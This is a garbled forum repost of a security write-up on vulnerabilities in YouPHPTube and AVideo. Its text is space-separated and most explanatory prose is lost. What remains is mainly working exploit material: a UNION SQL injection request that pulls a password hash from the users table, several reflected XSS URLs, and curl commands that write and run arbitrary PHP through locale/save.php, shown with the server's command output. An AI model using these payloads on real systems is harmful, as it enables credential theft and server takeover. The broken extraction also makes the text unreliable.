[16451] 2021-02-17_YouPHPTube中的多个安全漏洞分析

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2021-02-17_YouPHPTube中的多个安全漏洞分析 Y o u P H P T u b e A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 1 7 Y o u P H P T u b e Y o u P H P T u b e A V i d e o Y o u P H P T u b e   < =   7 . 8 A V i d e o   < =   1 0 . 0 S y n a c k t i v Y o u P H P T u b e A V i d e o S Q L X S S C o o k i e Y o u P H P T u b e   < =   7 . 8 A V i d e o   < =   1 0 . 0 S Q L Y o u P H P T u b e A V i d e o $ _ G E T [ c a t N a m e ] S Q L g e t V i d e o ( ) $ _ G E T [ c a t N a m e ] S Q L 使 M y S Q L 使 $ s q l   . =   "   A N D   ( c . c l e a n _ n a m e   =   ' { $ _ G E T [ ' c a t N a m e ' ] } '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d   f r o m c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' { $ _ G E T [ ' c a t N a m e ' ] } '   ) ) " ; G E T   / f e e d / ? c a t N a m e = % 5 c   H T T P / 1 . 1 [ . . . ] H T T P / 1 . 1   2 0 0   O K [ . . . ] S E L E C T   u . * ,   v . * ,   c . i c o n C l a s s ,   c . n a m e   a s   c a t e g o r y ,   c . c l e a n _ n a m e   a s c l e a n _ c a t e g o r y , c . d e s c r i p t i o n   a s   c a t e g o r y _ d e s c r i p t i o n ,   v . c r e a t e d   a s   v i d e o C r e a t i o n , v . m o d i f i e d   a s   v i d e o M o d i f i e d ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d A N D   ` l i k e `   =   1   )   a s   l i k e s ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d   A N D ` l i k e `   =   - 1   )   a s   d i s l i k e s   F R O M   v i d e o s   a s   v   L E F T   J O I N   c a t e g o r i e s   c   O N   c a t e g o r i e s _ i d   =   c . i d L E F T   J O I N   u s e r s   u   O N   v . u s e r s _ i d   =   u . i d   W H E R E   1 = 1   A N D   u . s t a t u s   =   ' a '   A N D   ( S E L E C T c o u n t ( i d )   F R O M   v i d e o s _ g r o u p _ v i e w   a s   g v   W H E R E   g v . v i d e o s _ i d   =   v . i d   )   =   0   A N D   v . s t a t u s   I N ( ' a ' , ' x m p 4 ' , ' x w e b m ' , ' x m p 3 ' , ' x o g g ' )   A N D   ( c . c l e a n _ n a m e   =   ' '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d f r o m   c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C   L I M I T   0 ,   5 0   n E r r o r   :   ( 1 0 6 4 )   Y o u   h a v e   a n   e r r o r   i n   y o u r   S Q L   s y n t a x ;   c h e c k   t h e   m a n u a l   t h a t   c o r r e s p o n d s   t o y o u r   M y S Q L   s e r v e r   v e r s i o n   f o r   t h e   r i g h t   s y n t a x   t o   u s e   n e a r   ' '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C L I M I T   0 ,   5 0 '   a t   l i n e   1
M y S Q L 使 U N I O N   M y S Q L u s e r s A V i d e o   < =   1 0 . 0 Y o u P H P T u b e   < =   7 . 8 X S S u v i d e o r e d i r e c t U r i s e a r c h P h r a s e H T M L J a v a S c r i p t C o o k i e 使 Y o u P H P T u b e   < =   7 . 8 v i e w / u s e r L o g i n . p h p 使 U R L X S S A V i d e o   < =   1 0 . 0 v i e w / c h a n n e l s . p h p 使 U R L X S S v i e w / v i d e o s L i s t . p h p G E T   / f e e d / ? c a t N a m e = ) % 2 3 % 5 c   H T T P / 1 . 1 [ . . . ] S E L E C T   u . * ,   v . * ,   c . i c o n C l a s s ,   c . n a m e   a s   c a t e g o r y ,   c . c l e a n _ n a m e   a s c l e a n _ c a t e g o r y , c . d e s c r i p t i o n   a s   c a t e g o r y _ d e s c r i p t i o n ,   v . c r e a t e d   a s   v i d e o C r e a t i o n , v . m o d i f i e d   a s   v i d e o M o d i f i e d ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d A N D   ` l i k e `   =   1   )   a s   l i k e s ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d   A N D ` l i k e `   =   - 1   )   a s   d i s l i k e s   F R O M   v i d e o s   a s   v   L E F T   J O I N   c a t e g o r i e s   c   O N   c a t e g o r i e s _ i d   =   c . i d L E F T   J O I N   u s e r s   u   O N   v . u s e r s _ i d   =   u . i d   W H E R E   1 = 1   A N D   u . s t a t u s   =   ' a '   A N D   ( S E L E C T c o u n t ( i d )   F R O M   v i d e o s _ g r o u p _ v i e w   a s   g v   W H E R E   g v . v i d e o s _ i d   =   v . i d   )   =   0   A N D   v . s t a t u s   I N ( ' a ' , ' x m p 4 ' , ' x w e b m ' , ' x m p 3 ' , ' x o g g ' )   A N D   ( c . c l e a n _ n a m e   =   ' ) # '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d f r o m   c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' ) # '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C   L I M I T   0 ,   5 0 G E T   / f e e d / ? c a t N a m e = ) + U N I O N + S E L E C T + 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , ( s e l e c t + p a s s w o r d + f r o m + u s e r s + l i m i t + 0 , 1 ) , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 , 3 8 , 3 9 , 4 0 , 4 1 , 4 2 , 4 3 , 4 4 , 4 5 , 4 6 , 4 7 , 4 8 , 4 9 , 5 0 , 5 1 , 5 2 , 5 3 , 5 4 , 5 5 , 5 6 , 5 7 , 5 8 , 5 9 , 6 0 , 6 1 , 6 2 , 6 3 , 6 4 , 6 5 , 6 6 , 6 7 , 6 8 , 6 9 , 7 0 , 7 1 , 7 2 , 7 3 , 7 4 , 7 5 , 7 6 , 7 7 , 7 8 % 2 3 % 5 c H T T P / 1 . 1 [ . . . ] H T T P / 1 . 1   2 0 0   O K [ ] < t i t l e > 7 5 6 b 4 b 2 b 7 3 4 f 5 5 6 8 0 9 6 d a f 1 6 5 1 6 9 7 5 d 7 < / t i t l e > [ ] G E T   / y o u p h p t u b e / Y o u P H P T u b e - m a s t e r / f e e d / ? c a t N a m e = ) + U N I O N + S E L E C T + 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , ( s e l e c t + p a s s w o r d + f r o m + u s e r s + l i m i t + 0 , 1 ) , 3 2 , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 , 3 8 , 3 9 , 4 0 , 4 1 , 4 2 , 4 3 , 4 4 , 4 5 , 4 6 , 4 7 , 4 8 , 4 9 , 5 0 , 5 1 , 5 2 , 5 3 , 5 4 , 5 5 , 5 6 , 5 7 , 5 8 , 5 9 , 6 0 , 6 1 , 6 2 , 6 3 , 6 4 , 6 5 , 6 6 , 6 7 , 6 8 , 6 9 , 7 0 , 7 1 , 7 2 , 7 3 % 2 3 % 5 c   H T T P / 1 . 1 [ ] H T T P / 1 . 1   2 0 0   O K [ ] < t i t l e > 7 5 6 b 4 b 2 b 7 3 4 f 5 5 6 8 0 9 6 d a f 1 6 5 1 6 9 7 5 d 7 < / t i t l e > [ ] p r i n t   i s s e t ( $ _ G E T [ ' r e d i r e c t U r i ' ] )   ?   $ _ G E T [ ' r e d i r e c t U r i ' ]   :   " " ; h t t p : / / < t a r g e t > / s i g n U p ? r e d i r e c t U r i = % 2 2 % 3 E % 3 C s c r i p t % 3 E a l e r t ( 1 1 1 ) % 3 C % 2 f s c r i p t % 3 E e c h o   @ $ _ G E T [ ' s e a r c h P h r a s e ' ] ; h t t p : / / < t a r g e t > / c h a n n e l s ? s e a r c h P h r a s e = t e s t % 2 2 % 3 e % 3 c s c r i p t % 3 e a l e r t ( 1 ) % 3 c % 2 f s c r i p t % 3 e $ v i d e o N a m e   =   " " ; i f   ( ! e m p t y ( $ v i d e o [ ' c l e a n _ t i t l e ' ] ) )   {   $ v i d e o N a m e   =   $ v i d e o [ ' c l e a n _ t i t l e ' ] ; }   e l s e   i f   ( ! e m p t y ( $ _ G E T [ ' v i d e o N a m e ' ] ) )   {   $ v i d e o N a m e   =   $ _ G E T [ ' v i d e o N a m e ' ] ;
使 U R L X S S p l u g i n / L i v e / v i e w / m o d e Y o u t u b e L i v e . p h p 使 U R L X S S 使 f l a g c o d e l o c a l e / s a v e . p h p 使 } [ ] v a r   u r l L i s t   =   " < ? p h p   e c h o   $ g l o b a l [ ' w e b S i t e R o o t U R L ' ] ;   ? > v i d e o s L i s t / < ? p h p   e c h o a d d s l a s h e s ( $ c a t L i n k ) ;   ? > v i d e o / < ? p h p   e c h o   a d d s l a s h e s ( $ v i d e o N a m e ) ;   ? > "   +   p a g e   +   q u e r y ; h t t p : / / < t a r g e t > / v i d e o s L i s t / v i d e o / % 2 5 3 c % 2 5 2 f s c r i p t % 2 5 3 e % 2 5 3 c s c r i p t % 2 5 3 e a l e r t % 2 5 2 8 1 % 2 5 2 9 % 2 5 3 c % 2 5 2 f s c r i p t % 2 5 3 e / p a g e / 1 $ u   =   n e w   U s e r ( 0 ,   $ _ G E T [ ' u ' ] ,   f a l s e ) ; [ . . . ] $ n a m e   =   $ u g e t N a m e I d e n t i f i c a t i o n B d ( ) ; $ n a m e   =   " < a   h r e f = ' "   .   U s e r : : g e t C h a n n e l L i n k ( $ u s e r _ i d )   .   " '   c l a s s = ' b t n   b t n - x s   b t n d e f a u l t ' > { $ n a m e }   "   .   U s e r : : g e t E m a i l V e r i f i e d I c o n ( $ u s e r _ i d )   .   " < / a > " ; $ v i d e o [ ' c r e a t o r ' ]   =   ' < d i v   c l a s s = " p u l l - l e f t " > < i m g   s r c = " '   .   U s e r : : g e t P h o t o ( $ u s e r _ i d )   .   ' " a l t = " U s e r   P h o t o "   c l a s s = " i m g   i m g - r e s p o n s i v e   i m g - c i r c l e "   s t y l e = " m a x - w i d t h :   4 0 p x ; " / > < / d i v > < d i v c l a s s = " c o m m e n t D e t a i l s "   s t y l e = " m a r g i n - l e f t : 4 5 p x ; " > < d i v   c l a s s = " c o m m e n t e r N a m e   t e x t m u t e d " > < s t r o n g > '   .   $ n a m e   .   ' < / s t r o n g > < b r > '   .   $ s u b s c r i b e   .   ' < / d i v > < / d i v > ' ; [ ] < d i v   c l a s s = " c o l - x s - 1 2   c o l - s m - 1 2   c o l - l g - 1 2 " > < ? p h p   e c h o   $ v i d e o [ ' c r e a t o r ' ] ;   ? > < / d i v > [ ] h t t p : / / < t a r g e t > / p l u g i n / L i v e / ? u = % 3 C s c r i p t % 3 E a l e r t ( 6 6 ) % 3 C % 2 f s c r i p t % 3 E $ f i l e   =   $ d i r . s t r t o l o w e r ( $ _ P O S T [ ' f l a g ' ] ) . " . p h p " ; $ m y f i l e   =   f o p e n ( $ f i l e ,   " w " )   o r   d i e ( " U n a b l e   t o   o p e n   f i l e ! " ) ; i f   ( ! $ m y f i l e )   {   $ o b j - > s t a t u s   =   0 ;   $ o b j - > e r r o r   =   _ _ ( " U n a b l e   t o   o p e n   f i l e ! " ) ;   d i e ( j s o n _ e n c o d e ( $ o b j ) ) ; } $ t x t   =   " < ? p h p n g l o b a l   $ t ; n " ; f w r i t e ( $ m y f i l e ,   $ t x t ) ; f w r i t e ( $ m y f i l e ,   $ _ P O S T [ ' c o d e ' ] ) ; f c l o s e ( $ m y f i l e ) ; e c h o   j s o n _ e n c o d e ( $ o b j ) ; $   c u r l   - k i s   ' h t t p : / / < t a r g e t > / l o c a l e / s a v e . p h p '   - H   ' C o o k i e : 0 9 b 9 1 1 7 e d c 2 0 b c 1 c 5 5 5 7 3 9 1 5 5 c 0 e b 1 b d = 9 j p n 0 5 8 3 0 l p 2 f 7 s 9 a t q b s 9 k b c 1 ; '   - - d a t a ' f l a g = t e s t f i l e 2 & c o d e = s y s t e m ( i d ) ; ' $   c u r l   - k i s   ' h t t p : / / < t a r g e t > / l o c a l e / t e s t f i l e 2 . p h p '   - H   ' C o o k i e : 0 9 b 9 1 1 7 e d c 2 0 b c 1 c 5 5 5 7 3 9 1 5 5 c 0 e b 1 b d = 9 j p n 0 5 8 3 0 l p 2 f 7 s 9 a t q b s 9 k b c 1 ; ' H T T P / 1 . 1   2 0 0   O K D a t e :   S a t ,   2 1   N o v   2 0 2 0   0 5 : 2 0 : 5 5   G M T S e r v e r :   A p a c h e
广 S Q L $ c a t N a m e S Q L 使 h t m l e n t i t i e s s e a r c h P h r a s e u r e d i r e c t U r i H T M L J a v a S c r i p t f l a g c o d e X - P o w e r e d - B y :   P H P / 7 . 4 . 1 1 C a c h e - C o n t r o l :   m a x - a g e = 1 ,   p r i v a t e ,   m u s t - r e v a l i d a t e E x p i r e s :   S a t ,   2 1   N o v   2 0 2 0   0 5 : 2 0 : 5 6   G M T C o n t e n t - L e n g t h :   4 9 C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 u i d = 8 1 ( a p a c h e )   g i d = 8 1 ( a p a c h e )   g r o u p e s = 8 1 ( a p a c h e )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则